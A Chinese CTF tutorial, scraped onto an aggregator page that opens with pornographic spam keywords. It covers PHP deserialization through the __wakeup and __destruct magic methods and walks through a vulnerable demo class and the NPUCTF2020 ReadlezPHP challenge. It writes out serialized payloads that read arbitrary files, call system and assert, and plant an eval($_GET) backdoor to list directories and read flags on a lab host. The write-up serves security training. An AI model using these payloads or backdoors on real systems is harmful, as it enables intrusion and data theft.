国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

CTF-PHP反序列化漏洞2-利用魔法函數(shù)

這篇具有很好參考價值的文章主要介紹了CTF-PHP反序列化漏洞2-利用魔法函數(shù)。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

作者:Eason_LYC
悲觀者預言失敗,十言九中。 樂觀者創(chuàng)造奇跡,一次即可。
一個人的價值,在于他所擁有的??梢圆粚W無術,但不能一無所有!
技術領域:WEB安全、網(wǎng)絡攻防
關注WEB安全、網(wǎng)絡攻防。我的專欄文章知識點全面細致,邏輯清晰、結合實戰(zhàn),讓你在學習路上事半功倍,少走彎路!
個人社區(qū):極樂世界-技術至上
追求技術至上,這是我們理想中的極樂世界~(關注我即可加入社區(qū))

本專欄CTF基礎入門系列打破以往CTF速成或就題論題模式。采用系統(tǒng)講解基礎知識+入門題目練習+真題講解方式。讓剛接觸CTF的讀者真正掌握CTF中各類型知識點,為后續(xù)自學或快速刷題備賽,打下堅實的基礎~

目前ctf比賽,一般選擇php作為首選語言,如讀者不了解php的基本語法,請登錄相關網(wǎng)站自學下基本語法即可,一般5-7天即可掌握基礎。

1. 題目環(huán)境搭建

詳見我的一篇文章phpstudy本地環(huán)境搭建圖文教程
搭建成功后,在網(wǎng)站根目錄新建含有原始代碼的php文件,通過瀏覽器訪問即可。

網(wǎng)站根目錄中新建一個名為flag.php的文件,內容自定,可作為flag使用。

<?php
echo "flag{You_Gor_It_Great!}";
?>

在線運行php網(wǎng)站,推薦PHP 在線工具 | 菜鳥工具或者在線運行PHP

2. 魔法函數(shù)的危險操作

反序列化時會將序列化字符串重新還原為對象,在這個過程中會?動去調?類中的魔術?法,?如 __wakeup()__destruct() 等,如果這些魔術?法中存在?些危險操作,如讀取?件、執(zhí)?系統(tǒng)命令等。攻擊 者可以通過構造對象中的變量值,在觸發(fā)魔術?法時執(zhí)?這些危險操作。

__destruct()   // 析構函數(shù),在銷毀對象時調用
__wakeup()    // 執(zhí)行unserialize()時,先會調用這個函數(shù)

2.1 題目demo.php

  • 題目源碼
<?php
// flag is in flag.php
class demo
{
 private $filename = 'demo.php';
 public function __wakeup()
 {
 // TODO: Implement __wakeup() method.
 $this->show($this->filename);
 }
 public function show($filename)
 {
 show_source($filename);
 }
}
unserialize($_GET['s']);
$d = new demo();
$d->show("demo.php");
?>

打開題目
CTF-PHP反序列化漏洞2-利用魔法函數(shù)

  • 解題思路
  1. 源碼分析發(fā)現(xiàn)
    a. 存在魔法函數(shù)__wakeup
    b. 魔法函數(shù)中調用show函數(shù),里面存在危險操作show_source顯示源碼
    c. 參數(shù)filename可控
    綜上可嘗試反序列化讀取flag.php
  2. 構造反序列化
    調用鏈:__wakeup() => show

上?的代碼是接收?個參數(shù) s ,然后將其反序列化,反序列化后,會調? __wakeup() ?法。如果?切正常的話, 這個?法會顯示?下 demo.php ?件的源代碼。但是參數(shù) s 是可控的,也就是說對象 s 的屬性是可控的。于是我們可以偽造?個 filename 來構造對象(flag.php)

使用PHP 在線工具 | 菜鳥工具生成payload
CTF-PHP反序列化漏洞2-利用魔法函數(shù)

<?php
class demo{
	private $filename = 'flag.php';
}

$a = new demo();
$b = serialize($a);
echo $b.'<br>';
echo urlencode($b);
?>

// 結果如下
// O:4:"demo":1:{s:14:"demofilename";s:8:"flag.php";}
// O%3A4%3A%22demo%22%3A1%3A%7Bs%3A14%3A%22%00demo%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

最終攻擊payload,瀏覽器url欄中輸入如下內容
http://ip:port/filename/?s=O%3A4%3A%22demo%22%3A1%3A%7Bs%3A14%3A%22%00demo%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
CTF-PHP反序列化漏洞2-利用魔法函數(shù)

2.2 [NPUCTF2020]ReadlezPHP

題目鏈接:[NPUCTF2020]ReadlezPHP]ReadlezPHP

  • 題目
    正常的一個報時網(wǎng)頁 此題可有兩個flag
  • 解題思路
  1. 打開網(wǎng)站嘗試路徑掃描無果。嘗試查看網(wǎng)頁源碼,發(fā)現(xiàn)可以鏈接
    CTF-PHP反序列化漏洞2-利用魔法函數(shù)
  2. 點擊后,URL中去掉view-source: 頁面展示源碼如下。
    CTF-PHP反序列化漏洞2-利用魔法函數(shù)
  3. 分析源代碼可知
    (1)存在魔法函數(shù)__destruct()
    (2)調用危險代碼動態(tài)執(zhí)行 b ( b( b(a)
    (3)$a $b參數(shù)可控
    綜上選定PHP反序列化攻擊
  4. 構造序列化腳本
<?php
  class HelloPhp
{
  public $a="ls /";
  public $b="system"; 
}

$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>

// 輸出結果
// O:8:"HelloPhp":2:{s:1:"a";s:4:"ls /";s:1:"b";s:6:"system";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D

攻擊payload為
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D

  1. 但是沒有響應,懷疑是過濾了部分函數(shù)。嘗試使用別的函數(shù),如assert
<?php
class HelloPhp
{
    public $a="phpinfo()";
    public $b="assert"; 
}

$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);

?>
  
// 輸出結果
// O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

攻擊payload
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
成功,查看被禁用函數(shù)disable_functions PHP中的system函數(shù)被禁用
CTF-PHP反序列化漏洞2-利用魔法函數(shù)
搜索flag找到第一個flag
CTF-PHP反序列化漏洞2-利用魔法函數(shù)

  1. 構造后門文件查看是否還有其他flag assert(eval($_GET[1234]))
<?php
  class HelloPhp
{
  public $a="eval(\$_GET[1234])";
  public $b="assert"; 
}

$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>

攻擊payload
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));

  1. 后門1234的命令被限制使用var_dump(scandir(“/”))代替 system(“l(fā)s /”) 找到第二個flag

http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));

CTF-PHP反序列化漏洞2-利用魔法函數(shù)

  1. 使用echo file_get_contents(“/FIag_!S_it”)代替system(cat /FIag_!S_it)

http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=echo file_get_contents("/FIag_!S_it");

找到第二個flag
NPUCTF{this_is_not_a_fake_flag_but_true_flag}

以上僅是典型題目,下一篇文章將繼續(xù)介紹php反序列化pop鏈的構造文章來源地址http://www.zghlxwxcb.cn/news/detail-447042.html

到了這里,關于CTF-PHP反序列化漏洞2-利用魔法函數(shù)的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。如若轉載,請注明出處: 如若內容造成侵權/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領支付寶紅包贊助服務器費用

相關文章

  • 關于php----phar偽協(xié)議和phar文件反序列化漏洞利用

    關于php----phar偽協(xié)議和phar文件反序列化漏洞利用

    Secarma的安全研究員Sam Thomas發(fā)現(xiàn)了php里一種新的反序列化漏洞,這種漏洞的利用可以避開傳統(tǒng)的php反序列化漏洞的查找,舊漏洞莫非尋找反序列化鏈(pop鏈),如thinkphp、Laravel的反序列化鏈的漏洞和使用phar://偽協(xié)議完成反序列化漏洞。新發(fā)現(xiàn)的漏洞通過創(chuàng)建phar文件,以及配合

    2024年02月05日
    瀏覽(22)
  • 記錄一次CTF解題PHP反序列化

    記錄一次CTF解題PHP反序列化

    序列化通俗來講就是將對象轉化為可以存儲、傳輸?shù)淖址?,反序列化就是把那串字符串再變回對象?例如: 這里序列化結果中的O就是object對象的意思,數(shù)字7代表著對象的函數(shù)名長度為7,然后就是對象名\\\"chybate\\\",然后這個數(shù)字 1表示對象有一個變量,大括號里的s代表的是

    2024年04月22日
    瀏覽(30)
  • 【精選】PHP&java 序列化和反序列化漏洞

    目錄 首先 其次 技巧和方法

    2024年01月23日
    瀏覽(21)
  • 反序列化漏洞(PHP)

    反序列化漏洞(PHP)

    0x01. 序列化和反序列化是什么 序列化:變量轉換為可保存或傳輸?shù)淖址倪^程; 反序列化:把序列化的字符串再轉化成原來的變量使用 作用:可輕松地存儲和傳輸數(shù)據(jù),使程序更具維護性 0x02. 為什么會有序列化 序列化用于存儲或傳遞 PHP 的值的過程中,同時不丟失其類型

    2024年02月06日
    瀏覽(19)
  • Fastjson 結合 jdk 原生反序列化的利用手法 ( Aliyun CTF )

    Fastjson 結合 jdk 原生反序列化的利用手法 ( Aliyun CTF )

    2023 Aliyun CTF ezbean是一道CTF java反序列化題目。 題目的目的是讓選手通過一個java原生反序列化入口,最終達成RCE。本文對題目的幾種解法做了具體的分析,主要分為預期解法和非預期解法兩種思路。通過對Fastjson在反序列化的行為分析,從兩個方向攻克本題。 題目的邏輯簡單

    2024年02月07日
    瀏覽(16)
  • php反序列化漏洞基礎

    php反序列化漏洞基礎

    ????????序列化是將對象或類轉換為字符串的過程 ,以便在程序運行過程中對其進行持久化存儲或傳輸?shù)牟僮?。在PHP中,序列化主要用于將類對象或數(shù)組轉換成字節(jié)流的形式,以便于存儲在磁盤或傳輸?shù)狡渌到y(tǒng)。 ????????通過 序列化,可以將對象或類轉換成一串字

    2024年01月20日
    瀏覽(37)
  • PHP反序列化漏洞原理

    1、原理: 序列化與反序列化是保證數(shù)據(jù)一致性的過程。 2、產(chǎn)生: 序列化與反序列化的過程中,用戶可控 如果反序列化的參數(shù)受到攻擊者的控制,就會產(chǎn)生漏洞。攻擊者可以通過修改參數(shù)個數(shù)等方式來控制反序列化過程,從而導致代碼執(zhí)行、SQL注入、目錄遍歷等不可控后果。

    2024年01月16日
    瀏覽(24)
  • PHP反序列化漏洞之魔術方法

    PHP反序列化漏洞之魔術方法

    PHP魔術方法 (Magic Methods) 是一組特殊的方法,它們在特定的情況下會被自動調用,用于實現(xiàn)對象的特殊行為或提供額外功能。這些方法的名稱都以雙下劃線開頭和結尾,例如: __construct() 、 __toString() 等。 魔術方法可以幫助我們實現(xiàn)一些特殊的行為,例如對象的初始化、屬性

    2024年02月16日
    瀏覽(30)
  • PHP反序列化漏洞-魔術方法繞過

    一、__wakeup()魔法函數(shù)繞過: 在PHP中,__wakeup()是一個魔術方法,用于在反序列化對象時自動調用。 當反序列化字符串中的對象屬性個數(shù)大于實際屬性個數(shù)時 ,可以利用這個漏洞進行繞過。 觸發(fā)條件: PHP版本為5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的對

    2024年01月18日
    瀏覽(48)
  • [網(wǎng)絡安全/CTF] BUUCTF極客大挑戰(zhàn)2019PHP解題詳析(Dirsearch使用實例+php反序列化)

    [網(wǎng)絡安全/CTF] BUUCTF極客大挑戰(zhàn)2019PHP解題詳析(Dirsearch使用實例+php反序列化)

    提示:有一個良好的備份網(wǎng)站的習慣 故使用dirsearch工具掃描目錄 得到的掃描結果中包含www.zip目錄 通過url路徑下載zip文件: index.php中含有關鍵代碼: Get傳參傳入一個參數(shù)select,后端將其序列化 class.php: construct 是構造函數(shù),在對象被創(chuàng)建的時候自動調用,進行類的初始化,

    2024年02月05日
    瀏覽(30)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領取紅包,優(yōu)惠每天領

二維碼1

領取紅包

二維碼2

領紅包